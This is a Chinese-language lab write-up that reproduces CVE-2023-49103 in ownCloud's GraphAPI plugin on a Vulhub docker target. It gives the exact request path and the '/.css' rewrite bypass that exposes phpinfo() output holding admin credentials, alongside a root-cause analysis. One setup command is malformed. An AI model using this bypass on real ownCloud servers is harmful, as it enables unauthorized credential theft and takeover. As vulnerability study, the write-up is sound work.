CVE-2023-49103 是 ownCloud GraphAPI 插件中的一个高危未授权信息泄露漏洞。由于插件在受影响版本(≤0.2.0 / ≤0.3.0)中错误地将第三方依赖库中的调试文件 GetPhpInfo.php 部署至生产环境,攻击者可利用 Apache 的 PathInfo 特性,通过在请求路径末尾附加静态资源后缀(如 /.css)绕过 ownCloud 的 URL 重写规则,直接访问该 PHP 文件并触发 phpinfo() 输出。由此可获取包含管理员账号、密码等敏感信息的服务器环境变量,进而完全接管 ownCloud 实例。本文基于 Vulhub 搭建靶场,完整复现了该漏洞的利用过程并分析其成因。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2023-49103 | 10.0 | ownCloud graphapi 0.2.0–0.2.0(<0.2.1)、0.3.0–0.3.0(<0.3.1) | 未授权敏感信息泄露 |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd git pull origin master # 若无owncloud目录,手动更新仓库
└─$ cd vulhub/owncloud/CVE-2023-49103
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
9f15fafcf802 vulhub/owncloud:10.12.1 "/usr/bin/entrypoint…" 7 minutes ago Up 7 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2023-49103-owncloud-1
目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-open-proxy: Proxy might be redirecting requests
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: ownCloud
|_Requested resource was http://192.168.31.148:8080/login
|_http-server-header: Apache
MAC Address: 00:0C:29:B3:23:74 (VMware)
扫描结果显示端口 8080 已成功开启,且 http-title 明确标注为 ownCloud,这说明目标存在 ownCloud 服务。当访问根目录时,它被重定向到了 /login。这是正常现象,漏洞路径是不需要登录的。
这里注意到,nmap的默认脚本只扫出了 robots.txt 和 login 页面。 这是因为 CVE-2023-49103 隐藏在 vendor 目录下,属于第三方库(Microsoft Graph SDK)带进来的测试文件。一般的扫描器如果不使用特定指纹字典,很难发现这个深层路径。
攻击过程
该漏洞的本质是第三方库 microsoft-graph 携带的一个测试文件被无意中暴露。 Kali 终端执行以下 curl 命令,观察 HTTP 状态码:
┌──(kali㉿kali)-[~]
└─$ curl -I http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
HTTP/1.1 302 Found
...
Location: http://192.168.31.148:8080/login
Content-Type: text/html; charset=UTF-8
如果返回 200 则说明漏洞利用成功,403/404 则说明漏洞已被修复。这里出现了 302 重定向到了登陆界面。
这是因为 ownCloud 通过 .htaccess默认启用了严格的 URL 重写规则,所有对 PHP 文件的直接请求都会被重定向到前端控制器,从而阻止了对内部调试文件的访问。
但 Apache 的 mod_rewrite 规则通常会对以特定静态资源扩展名(如 .css, .js, .png 等)结尾的请求放行,不进行重写。攻击者可以巧妙地利用这一点,通过在目标 PHP 文件路径后附加一个“假”的静态扩展名(如 /.css),欺骗 Apache 认为这是一个静态资源请求,从而绕过重写规则,直接执行该 PHP 文件。
因此在浏览器直接访问:http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css 即可访问 phpinfo() 页面。

可以在其中搜索 OWNCLOUD_ 或 Environment 来快速定位敏感凭据。
注意:此绕过手法依赖于 Apache + mod_php + PathInfo 支持 的环境,如果使用 Nginx 或 PHP-FPM,则此绕过方式可能无效
漏洞核心原理
ownCloud 的 GraphAPI 插件(≤ v0.2.0 / ≤ v0.3.0)错误地将第三方依赖库(microsoft-graph SDK)中的调试文件 GetPhpInfo.php 随应用一同部署到生产环境。该文件会直接输出 phpinfo(),泄露服务器环境变量(包括管理员账号密码等敏感信息)。